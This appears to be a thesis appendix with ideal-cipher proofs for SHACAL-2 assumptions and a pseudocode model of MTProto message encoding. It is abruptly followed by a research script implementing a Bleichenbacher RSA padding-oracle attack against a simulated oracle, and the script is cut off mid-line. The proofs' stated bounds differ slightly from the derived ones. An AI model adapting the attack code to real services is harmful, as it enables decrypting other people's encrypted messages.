D.3 Concrete security of the novel SHA-256 assumptions in the ICM

In Section 6.5.1, we defined the LRKPRF-security and the HRKPRF-security of the block cipher
SHACAL-2 (with respect to some related-key-deriving functions). Both assumptions roughly require
SHACAL-2 to be related-key PRF-secure when evaluated on the fixed input IV 256.

The notions of LRKPRF and HRKPRF security are novel, and hence further analysis is needed to
determine whether they hold for SHACAL-2 in the standard model. We leave this task as an open
problem. Here, we justify both assumptions in the ideal cipher model [Sha49], where a block cipher
is modelled as a random (and independently chosen) permutation for every key in its key space. More
formally, our analysis will assume that SHACAL-2.Ev(sk, ·) is a random permutation for every choice
of sk ∈ {0, 1}SHACAL-2.kl. This will allow us to derive an upper bound for any adversary attacking
either of the two assumptions.

In this section, for any ` ∈ N we use P(`) to denote the set of all bit-string permutations with domain
and range {0, 1}` . For any permutation π ∈ P(`) and any x, y ∈ {0, 1}` we write π (x) to denote the
result of evaluating π on x , and we write π−1(y) to denote the result of evaluating the inverse of π on
y. A basic correctness condition stipulates that π−1(π (x)) = x for all x ∈ {0, 1}` .

Proposition 10. Consider ϕKDF and ϕSHACAL-2. Let the block cipher SHACAL-2 be modelled as the ideal
cipher with key length SHACAL-2.kl and block length SHACAL-2.ol. Let D be any adversary against
the LRKPRF-security of SHACAL-2 with respect to ϕKDF, ϕSHACAL-2. Assume that D makes a total of q
queries to its ideal cipher oracles. Then the advantage of D is upper-bounded as follows:

Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(D) < 2−156 + q · 2−285.

Proof. This proof uses the games G0–G3 in Fig. D.9 and G4–G5 in Fig. D.10.

The game G0 is designed to be equivalent to the game Glrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2,D in the ideal cipher

model. In particular, the game G0 gives its adversaryD access to the oracles IC and IC−1 that evaluate
the direct and inverse calls to the ideal cipher respectively. The evaluation of SHACAL-2.Ev(ski, IV 256)
inside the oracle RoR of the game Glrkprf

SHACAL-2,ϕKDF,ϕSHACAL-2,D is replaced with a call to IC(ski, IV 256)
in the game G0. The oracles IC and IC

−1 assign a random permutation π : {0, 1}SHACAL-2.ol →
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Games G0–G3

1 : b ←$ {0, 1}
2 : kk←$ {0, 1}672

3 : kkI,0 ← kk[0 : 288]

4 : kkR,0 ← kk[64 : 352]

5 : kkI,1 ← kk[320 : 608]

6 : kkR,1 ← kk[384 : 672]

7 : kkI ← (kkI,0, kkI,1)

8 : kkR ← (kkR,0, kkR,1)

9 : b ′ ←$ DRoR,IC,IC−1

10 : return b ′ = b

IC(sk, x)
1 : if P[sk] = ⊥ then
2 : P[sk] ←$ P(SHACAL-2.ol)
3 : π ← P[sk]
4 : return π (x)

IC
−1(sk, y)

1 : if P[sk] = ⊥ then
2 : P[sk] ←$ P(SHACAL-2.ol)
3 : π ← P[sk]
4 : return π−1 (y)

RoR(u, i,msk)
1 : (kku,0, kku,1) ← kku

2 : sk0 ← SHA-pad(msk ∥ kku,0)

3 : sk1 ← SHA-pad(kku,1 ∥ msk)

4 : if (K[ski] ≠ ⊥) ∧ (K[ski] ≠ (u, i,msk)) then

5 : (u′, i′,msk′) ← K[ski]
6 : if (i′ = 0) ∧ (i = 0) then
7 : // msk′ ∥ kku′,0 = msk ∥ kku,0, i.e. kkI,0 = kkR,0

8 : bad0 ← true

9 : abort(false) // G1–G3

10 : else if (i′ = 1) ∧ (i = 1) then
11 : // kku′,1 ∥ msk′ = kku,1 ∥ msk, i.e. kkI,1 = kkR,1

12 : bad1 ← true

13 : abort(false) // G2–G3

14 : else // i′ ≠ i

15 : // msk′ ∥ kku′,0 = kku,1 ∥ msk if (i′ = 0) ∧ (i = 1)

16 : // kku′,1 ∥ msk′ = msk ∥ kku,0 if (i′ = 1) ∧ (i = 0)

17 : // i.e. kka,0 [0 : 160] = kkb,1 [128 : 288] for a, b ∈ {I, R}

18 : bad2 ← true

19 : abort(false) // G3

20 : K[ski] ← (u, i,msk)
21 : y1 ← IC(ski, IV 256)
22 : if T[u, i,msk] = ⊥ then
23 : T[u, i,msk] ←$ {0, 1}SHACAL-2.ol

24 : y0 ← T[u, i,msk]
25 : return yb

Figure D.9. Games G0–G3 for the proof of Proposition 10. The code added by expanding the
related-key-deriving functions ϕKDF and ϕSHACAL-2 in the game G0 is highlighted in grey .

{0, 1}SHACAL-2.ol to any block cipher key sk ∈ {0, 1}SHACAL-2.kl that is seen for the first time, and store
it in the table entry P[sk]. On input (sk, x) the oracle IC evaluates the permutation π ← P[sk]
on input x and returns the result π (x); on input (sk, y) the oracle IC evaluates the inverse of the
permutation π ← P[sk] on input y and returns the result π−1(y). The game G0 also expands the
code of the related-key-deriving functions ϕKDF and ϕSHACAL-2. We have

Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(D) = 2 · Pr[G0] − 1.
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Throughout the transitions from G0 to G3 (Fig. D.9), the code highlighted in blue is used to
gradually eliminate the possibility that the adversaryD calls its oracleRoR on two distinct input tuples
(u′, i′,msk′) and (u, i,msk) that both lead to the same block cipher key ski . If this was not true, thenD
could trivially win the game by comparing the equality of outputs returned by RoR(u′, i′,msk′) and
RoR(u, i,msk). Depending on the values of i′, i ∈ {0, 1} used in (u′, i′,msk′) ≠ (u, i,msk), the block
cipher keys produced across the two corresponding calls to RoR can be the equal if the intersection
of sets

{
msk′ ∥ kku′,0, kku′,1 ∥ msk′

}
and

{
msk ∥ kku,0, kku,1 ∥ msk

}
is not empty. We now show that it

will be empty with high probability.

Let i ∈ {0, 1, 2}. The games Gi and Gi+1 are identical until badi is set. We have

Pr[Gi] − Pr[Gi+1] ≤ Pr
[
badGi

i

]
.

Note that whenever the badi flag is set in the game Gi+1, we use the abort(false) instruction to
immediately halt the game with the output false, meaning D loses the game right after setting the flag.
In order for it to be possible to set each of the flags, certain bit segments in kk need to be equal; this is a
necessary, but not a sufficient condition. We use that to upper bound the corresponding probabilities
as follows, when measured over the randomness of sampling kk ←$ {0, 1}672 (here kk is implicitly
parsed into kkI,0, kkI,1, kkR,0, kkR,1 as specified by the related-key-deriving function ϕKDF):

Pr
[
badG0

0

]
≤ Pr

[
kkI,0 = kkR,0

]
= 2−288.

Pr
[
badG1

1

]
≤ Pr

[
kkI,1 = kkR,1

]
= 2−288.

Pr
[
badG2

2

]
≤ Pr

[
∃a, b ∈ {I,R} : kka,0 [0 : 160] = kkb,1 [128 : 288]

]
≤

∑︁
a,b∈{I,R}

Pr
[
kka,0 [0 : 160] = kkb,1 [128 : 288]

]
= Pr

[
kk[0 : 160] = kk[448 : 608]

]
+ Pr

[
kk[0 : 160] = kk[512 : 672]

]
+ Pr

[
kk[64 : 224] = kk[448 : 608]

]
+ Pr

[
kk[64 : 224] = kk[512 : 672]

]
= 4 · 2−160

= 2−158.

We used the union bound in order to upper-bound Pr
[
badG2

2

]
. The upper bound on Pr

[
badG2

2

]
could

be significantly lowered by capturing the idea that the adversary D also needs to match both msk
and msk′ to the corresponding bits of kk. The adversary D cannot efficiently learn kk based on the
responses from its oracles; the best it could do in an attempt to set bad2 is to repeatedly try guessing
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the bits of kk by supplying different values of msk,msk′ ∈ {0, 1}128.1 The upper bound would then
depend on the number of calls that D makes to its oracle RoR. We omit this analysis, and settle for a
less precise lower-bound.

The game G4 in Fig. D.10 rewrites the game G3 (Fig. D.9) in an equivalent way. The calls to SHA-pad
are expanded according to its definition in Fig. 2.4. The three conditional statements that inevitably
lead to abort(false) are replaced with an immediate call to abort(false). The code of the IC oracle is
expanded in place of the single call to IC from within oracle RoR. We have

Pr[G4] = Pr[G3] .

By now, we have determined that in the game G4 each query to the RoR oracle uses a distinct block
cipher key sk (except in the trivial case when RoR is queried twice with the same input tuple). In
the ideal cipher model, this key is mapped to a random permutation, which is then stored in P[sk].
We want to show that the adversary D cannot distinguish between this permutation evaluated on
input IV 256 and a uniformly random value from {0, 1}SHACAL-2.ol. The only way it could distinguish
between the two cases is if D managed to guess sk and query one of its ideal cipher oracles with sk as
input. This requires D to guess the corresponding 288-bit segment of kk that is used to build sk inside
oracle RoR: either sk[128 : 416] should be equal to one of {kkI,0, kkR,0}, or sk[0 : 288] should be
equal to one of {kkI,1, kkR,1}. We show that this is hard to achieve.

Formally, the games G4 and G5 are identical until bad3 is set. We have

Pr[G4] − Pr[G5] ≤ Pr
[
badG5

3

]
.

Note that kk can take a total of 2672 different values. Each query to an ideal cipher oracle IC or IC−1

either sets bad3, or silently rejects at most 4 · 2384 candidate kk values. In particular, if bad3 was not
set, then kk cannot contain sk[128 : 416] in one of the positions that correspond to kkI,0 or kkR,0,
and it cannot contain sk[0 : 288] in one of the positions that correspond to kkI,1 or kkR,1. Here, we
use the fact that for any fixed 288-bit string, there are 2672−288 = 2384 different ways to choose the
remaining bits of kk. Beyond eliminating some candidate keys as per above, the ideal cipher oracles do
not return any useful information about the contents of kk. So we can upper-bound the probability
of setting bad3 in the game G5 after making q queries to the oracles IC and IC

−1 as follows:

Pr
[
badG5

3

]
≤ q · 4 · 2

384

2672
= q · 2−286.

Finally, in the game G5 the ideal cipher oracles can no longer help D learn any information about the

1Note that the 256 total bits of msk,msk′ ∈ {0, 1}128 should not always be independent. For example, when trying to
match msk′ ∥ kkR,0 = kkI,1 ∥ msk, the 32-bit long bit-string kk[320 : 352] should appear both in the prefix of msk′ and in
the suffix of msk.
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Games G4–G5

1 : b ←$ {0, 1}
2 : kk←$ {0, 1}672

3 : kkI,0 ← kk[0 : 288]

4 : kkR,0 ← kk[64 : 352]

5 : kkI,1 ← kk[320 : 608]

6 : kkR,1 ← kk[384 : 672]

7 : kkI ← (kkI,0, kkI,1)

8 : kkR ← (kkR,0, kkR,1)

9 : b ′ ←$ DRoR,IC,IC−1

10 : return b ′ = b

IC(sk, x)
1 : if (sk[128 : 416] ∈ {kkI,0, kkR,0})∨

2 : (sk[0 : 288] ∈ {kkI,1, kkR,1}) then

3 : bad3 ← true

4 : abort(false) // G5

5 : if P[sk] = ⊥ then
6 : P[sk] ←$ P(SHACAL-2.ol)
7 : π ← P[sk]
8 : return π (x)

IC
−1(sk, y)

1 : if (sk[128 : 416] ∈ {kkI,0, kkR,0})∨

2 : (sk[0 : 288] ∈ {kkI,1, kkR,1}) then

3 : bad3 ← true

4 : abort(false) // G5

5 : if P[sk] = ⊥ then
6 : P[sk] ←$ P(SHACAL-2.ol)
7 : π ← P[sk]
8 : return π−1 (y)

RoR(u, i,msk)
1 : (kku,0, kku,1) ← kku
2 : sk0 ← msk ∥ kku,0 ∥ 1 ∥ ⟨0⟩31 ∥ ⟨|416|⟩64
3 : sk1 ← kku,1 ∥ msk ∥ 1 ∥ ⟨0⟩31 ∥ ⟨|416|⟩64
4 : if (K[ski] ≠ ⊥) ∧ (K[ski] ≠ (u, i,msk)) then
5 : abort(false)
6 : K[ski] ← (u, i,msk)
7 : if P[ski] = ⊥ then

8 : P[ski] ←$ P(SHACAL-2.ol)
9 : π ← P[ski]
10 : y1 ← π (IV 256)
11 : if T[u, i,msk] = ⊥ then

12 : T[u, i,msk] ←$ {0, 1}SHACAL-2.ol

13 : y0 ← T[u, i,msk]
14 : return yb

Figure D.10. Games G4–G5 for the proof of Proposition 10. The code highlighted in grey is
functionally equivalent to the corresponding code in G3.
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bits of kk, or about the corresponding random permutations. So we have

Pr[G5] =
1
2
.

Combining all of the above, we get

Pr[G0] =
∑︁

0≤i≤4
(Pr[Gi] − Pr[Gi+1]) + Pr[G5]

= (2−288 + 2−288 + 2−158 + 0 + q · 2−286) + 1
2

< 2−157 + q · 2−286 + 1
2
.

The inequality follows.

Proposition 11. Consider ϕMAC. Let the block cipher SHACAL-2 be modelled as the ideal cipher with
key length SHACAL-2.kl and block length SHACAL-2.ol. Let D be any adversary against theHRKPRF-
security of SHACAL-2 with respect to ϕMAC. Assume that D makes a total of q queries to its ideal cipher
oracles. Then the advantage of D is upper-bounded as follows:

Advhrkprf
SHACAL-2,ϕMAC

(D) ≤ 2−255 + q · 2−254.

Proof. This proof presents a very similar (but simpler) argument compared to the one used for the
proof of Proposition 10. So we provide the games and only the core analysis here, with a minimal
amount of justification for each of the steps. This proof uses the games G0–G3 in Fig. D.11.

The game G0 is equivalent to game Ghrkprf
SHACAL-2,ϕMAC,D in the ideal cipher model, so

Advhrkprf
SHACAL-2,ϕMAC

(D) SHACAL-2, ϕMACD = 2 · Pr[G0] − 1.

For the transition from G0 to G1 we upper-bound the probability of mkI = mkR as follows:

Pr[G0] − Pr[G1] ≤ Pr
[
badG0

0

]
≤ Pr

[
mkI = mkR

]
= 2−256.

The gameG2 differs from gameG1 by expanding the code of the oracle IC in place of the corresponding
call to IC(sk, IV 256) inside the RoR oracle, so the two games are equivalent:

Pr[G1] − Pr[G2] = 0.

For the transition from G2 to G3 we upper-bound the probability that the adversary D calls one of
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Games G0–G3

1 : b ←$ {0, 1}
2 : mk←$ {0, 1}320

3 : mkI ← mk[0 : 256]
4 : mkR ← mk[64 : 320]
5 : if mkI = mkR then

6 : bad0 ← true

7 : return false // G1–G3

8 : b ′ ←$ DRoR,IC,IC−1

9 : return b ′ = b

IC(sk, x)
1 : if sk[0 : 256] ∈ {mkI,mkR} then
2 : bad1 ← true
3 : return ⊥ // G3

4 : if P[sk] = ⊥ then
5 : P[sk] ←$ P(SHACAL-2.ol)
6 : π ← P[sk]
7 : return π (x)

IC
−1(sk, y)

1 : if sk[0 : 256] ∈ {mkI,mkR} then
2 : bad1 ← true
3 : return ⊥ // G3

4 : if P[sk] = ⊥ then
5 : P[sk] ←$ P(SHACAL-2.ol)
6 : π ← P[sk]
7 : return π−1 (y)

RoR(u, i,msk)
1 : sk← mku ∥ p
2 : y1 ← IC(sk, IV 256) // G0–G1

3 : if P[sk] = ⊥ then

4 : P[sk] ←$ P(SHACAL-2.ol) // G2–G3

5 : π ← P[sk]
6 : y1 ← π (IV 256) // G2–G3

7 : if T[u, p] = ⊥ then
8 : T[u, p] ←$ {0, 1}SHACAL-2.ol

9 : y0 ← T[u, p]
10 : return yb

Figure D.11. Games G0–G3 for the proof of Proposition 11. The code added by expanding the
related-key-deriving function ϕMAC in the game G0 is highlighted in grey .

its ideal cipher oracles IC or IC−1 with a block cipher key sk that contains mkI or mkR as its prefix:

Pr[G2] − Pr[G3] ≤ Pr
[
badG2

1

]
≤ q · 2 · 2

256

2512
= q · 2−255.

In the game G3 the ideal cipher oracles IC and IC
−1 no longer work with any keys that might

be used inside the oracle RoR. So the adversary D cannot distinguish between an evaluation of a
random permutation on input IV 256 and a uniformly random output value from the range of such a
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permutation. We have

Pr[G3] =
1
2
.

We now combine all of the above steps:

Advhrkprf
SHACAL-2,ϕMAC

(D) = 2 · Pr[G0] − 1

= 2 ·
( ∑︁
0≤i≤2

(Pr[Gi] − Pr[Gi+1]) + Pr[G3]
)
− 1

≤ 2 ·
(
2−256 + 0 + q · 2−255 + 1

2

)
− 1.

The inequality follows.

D.4 Message encoding scheme of MTProto

Fig. D.12 defines an approximation of the current ME construction in MTProto, where header fields
have encodings of fixed size as in Section 5.2. Salt generation is modelled as an abstract call within
ME.Init. The table S contains 64-bit salt values, each associated to some time period; the algorithm
GenerateSalts generates this table; the algorithmsGetSalt andValidSalts are used to choose and validate
salt values depending on the current timestamp. M is a fixed-size set that stores (msg_id, seq_no) for
each of the recently received messages; whenM reaches its maximum size, the entries with the smallest
msg_id are removed first. M .IDs is the set of msg_ids in M. Time constants tp and t f determine the
range of timestamps (from the past or future) that should be accepted; these constants are in the same
encoding as aux. We assume all strings are byte-aligned.

We omit modelling containers or acknowledgement messages, though they are not properly separated
from the main protocol logic in implementations. We stress that because implementations of MTProto
differ even in protocol details, it would be impossible to define a single ME scheme, so Fig. D.12
shows an approximation. For instance, the GenPadding function in Android has randomised padding
length which is at most 240 bytes, whereas the same function on desktop does not randomise the
padding length. Different client/server behaviour is captured by u = I representing the client and
u = R representing the server, and we assume that I always sends the first message.
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ME.Init()
1 : Nsent ← 0
2 : sid ← 0
3 : last_msg_id← 0
4 : S←$ GenerateSalts()
5 : M ← ∅
6 : stME,I ← (Nsent, sid, last_msg_id,S,M)
7 : stME,R ← (Nsent, sid, last_msg_id,S,M)
8 : return (stME,I, stME,R)

GetMsgId(u, aux, last_msg_id)
1 : msg_id← aux ≪ 32
2 : if msg_id ≤ last_msg_id then
3 : msg_id← last_msg_id + 1
4 : iI ← 0
5 : iR ← 1
6 : t ← (iu −msg_id) mod 4
7 : return ⟨msg_id + t ⟩64

GenPadding(`)
1 : `′ ← 128 − ` mod 128
2 : n←$ {2, 3, · · · , 63}
3 : padding←$ {0, 1}`′+n∗128

4 : return padding

ME.Encode(stME,u,m, aux)
1 : (Nsent, sid, last_msg_id,S,M) ← stME,u

2 : if u = I ∧ Nsent = 0 then

3 : sid ←$ {0, 1}64

4 : salt← GetSalt(S, aux)
5 : msg_id← GetMsgId(u, aux, last_msg_id)
6 : seq_no← ⟨2 · Nsent + 1⟩32
7 : length← ⟨|m |/8⟩32
8 : padding←$ GenPadding( |m |)
9 : p0 ← salt ∥ session_id
10 : p1 ← msg_id ∥ seq_no ∥ length
11 : p2 ← m ∥ padding
12 : p← p0 ∥ p1 ∥ p2
13 : Nsent ← Nsent + 1
14 : last_msg_id← msg_id
15 : stME,u ← (Nsent, sid, last_msg_id,S,M)
16 : return (stME,u, p)

(a) ME.Init and ME.Encode, with helper methods.

Figure D.12. Construction of MTProto’s message encoding scheme ME, where aux is a 32-bit
timestamp.
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D.4 Message encoding scheme of MTProto

ME.Decode(stME,u, p, aux)
1 : (Nsent, sid, last_msg_id,S,M) ← stME,u

2 : salt← p[0 : 64]
3 : session_id′ ← p[64 : 128]
4 : msg_id← p[128 : 192]
5 : seq_no← p[192 : 224]
6 : length← p[224 : 256]
7 : ` ←

��p�� − 256
8 : if (u = R) ∧ (salt ∉ ValidSalts(S, aux)) then
9 : return (stME,u,⊥)
10 : if (u = R) ∧ (Nrecv = 0) then
11 : session_id← session_id′

12 : else if session_id′ ≠ session_id then
13 : return (stME,u,⊥)
14 : if ¬(aux − tp ≤ (msg_id ≫ 32) ≤ aux + t f )∨
15 : (msg_id ∈ M .IDs) ∨ (msg_id < min(M .IDs)) then
16 : return (stME,u,⊥)
17 : if (u = R) ∧ (∃(i, s) ∈ M :
18 : ((seq_no ≤ s) ∧ (msg_id > i))∨
19 : ((seq_no ≥ s) ∧ (msg_id < i))) then
20 : return (stME,u,⊥)
21 : if ((u = I) ∧ (msg_id mod 4 ≠ 1))∨
22 : ((u = R) ∧ (msg_id mod 4 ≠ 0)) then
23 : return (stME,u,⊥)
24 : `padding ← `/8 − length
25 : if ¬(0 < length ≤ `/8) ∨ ¬(12 ≤ `padding ≤ 1024) then
26 : return (stME,u,⊥)
27 : m ← p[256 : 256 + length · 8]
28 : M ← add (msg_id, seq_no) to M
29 : stME,u ← (Nsent, sid, last_msg_id,S,M)
30 : return (stME,u,m)

(b) ME.Decode.

Figure D.12. Construction of MTProto’s message encoding scheme ME, where aux is a 32-bit
timestamp.
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# -*- coding: utf-8 -*-
from multiprocessing import Pool

from sage.all import (
    inverse_mod,
    power_mod,
    gcd,
    next_prime,
    ceil,
    floor,
    lcm,
    mean,
    median,
    set_random_seed,
    randint,
    crt,
    ZZ,
)
from collections import namedtuple


class Oracle(object):
    def __init__(self, inst, oracle_type="bridgefy"):
        if oracle_type in ("ttt", "fft", "bridgefy"):
            pass
        else:
            raise NotImplementedError
        self.oracle_type = oracle_type
        self.counter = 0
        self.counter2 = 0
        self.rsa_inst = inst
        self.bottom = 2 * inst.B
        self.top = 3 * inst.B

    def __call__(self, query, trimmer=False):
        if trimmer:
            self.counter2 += 1
        else:
            self.counter += 1
        vp = power_mod(query, self.rsa_inst.d, self.rsa_inst.p)
        vq = power_mod(query, self.rsa_inst.d, self.rsa_inst.q)
        v = crt(vp, vq, self.rsa_inst.p, self.rsa_inst.q)

        passes = True

        if self.bottom <= v and v < self.top:
            passes = True
        else:
            passes = False

        if not passes or self.oracle_type == "ttt":
            return passes

        v = ZZ(v).digits(256)[::-1]
        assert v[0] == 2
        for i, v_ in enumerate(v[1:]):
            if not v_:
                passes &= i >= 7
                zero_pos = i
                break
        else:
            passes = False

        if not passes or self.oracle_type == "fft":
            return passes

        # gzip header
        for i, v_ in enumerate(v[zero_pos + 2 :]):
            if not v_:
                passes &= False
                break

        return passes


def test2(c_0, u, t, inst):
    tinv = inverse_mod(t, inst.n)
    a = power_mod(u, inst.e, inst.n)
    b = power_mod(tinv, inst.e, inst.n)
    g = (c_0 * a * b) % inst.n
    if oracle(g, trimmer=True) == 1:
        return 1
    else:
        return 0


def trimming(c_0, inst, trimmer_limit=1500):
    global trimmers
    global mintrim
    global maxtrim
    trimmers = [1]
    trimmersfrac = [1]
    for t in range(3, 4097):
        if oracle.counter2 < trimmer_limit:
            for u in range((t - 1), (t + 1) + 1):
                if oracle.counter2 < trimmer_limit and (u / t) > (2 / 3) and (u / t) < (3 / 2):
                    if gcd(u, t) == 1:
                        if test2(c_0, u, t, inst) == 1:
                            trimmers.append(u / t)
                            trimmersfrac.append(t)
                            break
                        else:
                            continue
                    else:
                        continue
                else:
                    break
        else:
            break

    mintrim1 = min(min(trimmers), 1)
    maxtrim1 = max(max(trimmers), 1)
    newtrimmers = []
    newtrimmers.append(mintrim1)
    newtrimmers.append(maxtrim1)
    denom = lcm(trimmersfrac)

    lowerbottom = floordiv((2 * denom), 3)
    lowertop = denom
    while (lowertop - lowerbottom) != 1:
        u = ceildiv((lowerbottom + lowertop), 2)
        if test2(c_0, u, denom, inst) == 1:
            lowertop = u
        else:
            lowerbottom = u
    ulower = lowertop
    mintrim = ulower / denom
    upperbottom = denom
    uppertop = ceildiv((3 * denom), 2)
    while (upperbottom + 1) != uppertop:
        u = floordiv((upperbottom + uppertop), 2)
        if test2(c_0, u, denom, inst) == 1:
            upperbottom = u
        else:
            uppertop = u
    uupper = upperbottom
    maxtrim = uupper / denom

    return len(trimmers) - 1


def range_overlap_adjust(list_ranges):
    overlap_corrected = []
    for start, stop in sorted(list_ranges):
        if (
            overlap_corrected
            and start - 1 <= overlap_corrected[-1][1]
            and stop >= overlap_corrected[-1][1]
        ):
            overlap_corrected[-1] = min(overlap_corrected[-1][0], start), stop
        elif (
            overlap_corrected
            and start <= overlap_corrected[-1][1]
            and stop <= overlap_corrected[-1][1]
        ):
            break
        else:
            overlap_corrected.append((start, stop))
    return overlap_corrected


def ceildiv(a, b):
    return -(-a // b)


def floordiv(a, b):
    return a // b


RSAInstance = namedtuple("RSAInstance", ["p", "q", "e", "d", "n", "k", "B"])


def primes(bits=2048):

    x = randint(int(pow(2, (bits // 2 - 0.5))), int(2 ** (bits // 2)))
    y = randint(int(pow(2, (bits // 2 - 0.5))), int(2 ** (bits // 2)))
    p = next_prime(x)
    q = next_prime(y)
    n = p * q
    phi = (p - 1) * (q - 1)
    byte_length_n = (len(hex(n)) - 2) / 2
    k = int(byte_length_n)
    e = 65537
    d = inverse_mod(e, phi)
    B = int(pow(2, 8 * (k - 2)))
    return RSAInstance(p=p, q=q, e=e, d=d, n=n, k=k, B=B)


def PMS():
    return [randint(0, 255) for i in range(48)]


def zeroinpadding(x):
    for j in range(0, (len(x) - 1)):
        if j % 2 == 0:
            if x[j : (j + 2)] == "00":
                return 1
            else:
                continue
        else:
            continue


def pad(message, inst):
    global decimal_of_encoding

    msg_len = len(message)
    padding_len = inst.k - 3 - msg_len
    padding = [randint(1, 255) for i in range(padding_len)]
    encoding = message + [0] + padding + [2, 0]
    decimal_of_encoding = ZZ(encoding, 256)
    return power_mod(decimal_of_encoding, inst.e, inst.n)


def step_1(c, inst, trimmer_limit=1500):
    global i
    i = 0
    global a
    global b
    for s in range(1, int(inst.n)):
        w = int(power_mod(s, inst.e, inst.n))
        binding = int((w * c) % inst.n)
        if oracle(binding) == 1:
            list_s.append(s)
            break
        else:
            continue
    c_0 = binding
    M = [(2 * inst.B, (3 * inst.B) - 1)]
    trimings = trimming(c_0, inst, trimmer_limit=trimmer_limit)
    a = int(ceil((2 * inst.B) * (1 / mintrim)))
    b = int(floor(((3 * inst.B) - 1) * (1 / maxtrim)))
    M = [(a, b)]
    list_M.append(M)
    i = i + 1
    return c_0, trimings


def step_2a(c_0, inst):
    global i
    global s
    s = ceildiv((inst.n + (2 * inst.B)), b)
    found = False
    while not found:
        r = floordiv(((s * a) - (3 * inst.B)), inst.n)
        if s >= ceildiv(((2 * inst.B) + ((r + 1) * inst.n)), b):
            x = int(power_mod(s, inst.e, inst.n))
            attempt2a = int((x * c_0) % inst.n)
            if oracle(attempt2a):
                list_s.append(int(s))
                found = True
                break
            else:
                s = s + 1
                continue
        else:
            s = ceildiv(((2 * inst.B) + ((r + 1) * inst.n)), b)


def step_2b(c_0, inst):
    global i
    global s
    if i > 1 and len(list_M[i - 1]) > 1:
        iteration = 0
        found = False
        r_values = []
        s_ranges = []
        for j in range(0, len(list_M[i - 1])):
            r_values.append(
                ceildiv(2 * (((list_M[i - 1][j][1] * list_s[i - 1]) - (2 * inst.B))), inst.n)
            )
        for w in range(0, len(list_M[i - 1])):
            s_ranges.append(
                (
                    ceildiv(
                        ((2 * inst.B) + (r_values[w] * inst.n)),
                        list_M[i - 1][(iteration % len(list_M[i - 1]))][1],
                    ),
                    (
                        ceildiv(
                            ((3 * inst.B) + (r_values[w] * inst.n)),
                            list_M[i - 1][(iteration % len(list_M[i - 1]))][0],
                        )
                    ),
                )
            )
        while not found:
            if (
                s_ranges[(iteration % len(list_M[i - 1]))][0]
                > s_ranges[(iteration % len(list_M[i - 1]))][1]
            ):
                h = (r_values[(iteration % len(list_M[i - 1]))]) + 1
                r_values[(iteration % len(list_M[i - 1]))] = h
                y = (
                    ceildiv(
                        ((2 * inst.B) + (h * inst.n)),
                        list_M[i - 1][(iteration % len(list_M[i - 1]))][1],
                    ),
                    (
                        ceildiv(
                            ((3 * inst.B) + (h * inst.n)),
                            list_M[i - 1][(iteration % len(list_M[i - 1]))][0],
                        )
                    ),
                )
                s_ranges[(iteration % len(list_M[i - 1]))] = y
                s = s_ranges[(iteration % len(list_M[i - 1]))][0]
                z = int(power_mod(s, inst.e, inst.n))
                attempt2bnew = int((z * c_0) % inst.n)
                if oracle(attempt2bnew) == 1:
                    found = True
                    list_s.append(int(s))
                    break
                else:
                    t = s + 1
                    s_ranges[(iteration % len(list_M[i - 1]))] = (
                        t,
                        (
                            (
                                ceildiv(
                                    (
                                        (3 * inst.B)
                                        + (r_values[(iteration % len(list_M[i - 1]))] * inst.n)
                                    ),
                                    list_M[i - 1][(iteration % len(list_M[i - 1]))][0],
                                )
                            )
                        ),
                    )
                    iteration = iteration + 1
            else:
                s = s_ranges[(iteration % len(list_M[i - 1]))][0]
                z = int(power_mod(s, inst.e, inst.n))
                attempt2bnew = int((z * c_0) % inst.n)
                if oracle(attempt2bnew) == 1:
                    found = True
                    list_s.append(int(s))
                    break
                else:
                    t = s + 1
                    s_ranges[(iteration % len(list_M[i - 1]))] = (
                        t,
                        (
                            (
                                ceildiv(
                                    (
                                        (3 * inst.B)
                                        + (r_values[(iteration % len(list_M[i - 1]))] * inst.n)
                                    ),
                                    list_M[i - 1][(iteration % len(list_M[i - 1]))][0],
                                )
                            )
                        ),
                    )
                    iteration = iteration + 1


def step_2c(c_0, inst):
    global i
    global s
    if i > 1 and len(list_M[i - 1]) == 1:
        found = False
        r = ceildiv(2 * (((list_M[i - 1][0][1] * list_s[i - 1]) - (2 * inst.B))), inst.n)
        while not found:
            for s in range(
                ceildiv(((2 * inst.B) + (r * inst.n)), list_M[i - 1][0][1]),
                (ceildiv(((3 * inst.B) + (r * inst.n)), list_M[i - 1][0][0])),
            ):
                z = int(power_mod(s, inst.e, inst.n))
                attempt2c = int((z * c_0) % inst.n)
                if oracle(attempt2c) == 1:
                    found = True
                    list_s.append(int(s))
                    break
            r = r + 1
    else:
        print(" error ")


def step_3(c_0, inst):
    global i
    list_temp = []
    for j in range(0, len(list_M[i - 1])):
        for r in range(
            (ceildiv(((list_M[i - 1][j][0] * list_s[i]) - (3 * inst.B + 1)), inst.n)),
            (floordiv((list_M[i - 1][j][1] * list_s[i] - 2 * inst.B), inst.n)) + 1,
        ):
            list_temp.append(
                (
                    (
                        int(
                            max(
                                list_M[i - 1][j][0],
                                min(
                                    ceildiv((2 * inst.B + r * inst.n), list_s[i]),
                                    list_M[i - 1][j][1],
                                ),
                            )
                        )
                    ),
                    int(
                        min(
                            list_M[i - 1][j][1],
                            max(
                                floordiv(((3 * inst.B - 1) + r * inst.n), list_s[i]),
                                list_M[i - 1][j][0],
                            ),
                        )
                    ),
                )
            )
    list_M.append(range_overlap_adjust(list_temp))


def step_4(c_0, inst):
    global i
    inverse = inverse_mod(list_s[0], inst.n)
    message = list_M[i][0][0] * inverse % inst.n
    if message != decimal_of_encoding:
        raise RuntimeError("Error - Decryption failed !")


def attack(c, inst, trimmer_limit=1500):
    global list_s
    global list_M
    global i
    global oracle
    oracle = Oracle(inst)
    list_s = []  # this is where we store our s values
    list_M = []  # this is where we store the possible intervals
    c_0, trimings = step_1(c, inst, trimmer_limit=trimmer_limit)
    step_2a(c_0, inst)
    step_3(c_0, inst)
    while len(list_M[i]) != 1 or list_M[i][0][0] != list_M[i][0][1]:
        i = i + 1
        if i > 1 and len(list_M[i - 1]) > 1:
            step_2b(c_0, inst)
        elif i > 1 and len(list_M[i - 1]) == 1:
            step_2c(c_0, inst)
        else:
            raise RuntimeError("Error")
        step_3(c_0, inst)
    else:
        step_4(c_0, inst)

    return oracle.counter + oracle.counter2, trimings


def _cost_kernel(u):
    set_random_seed(u)
    inst = primes(1024)
    message = PMS()

    calls, trimmings = attack(pad(message, inst), inst, trimmer_limit=2 ** 12)
    print(
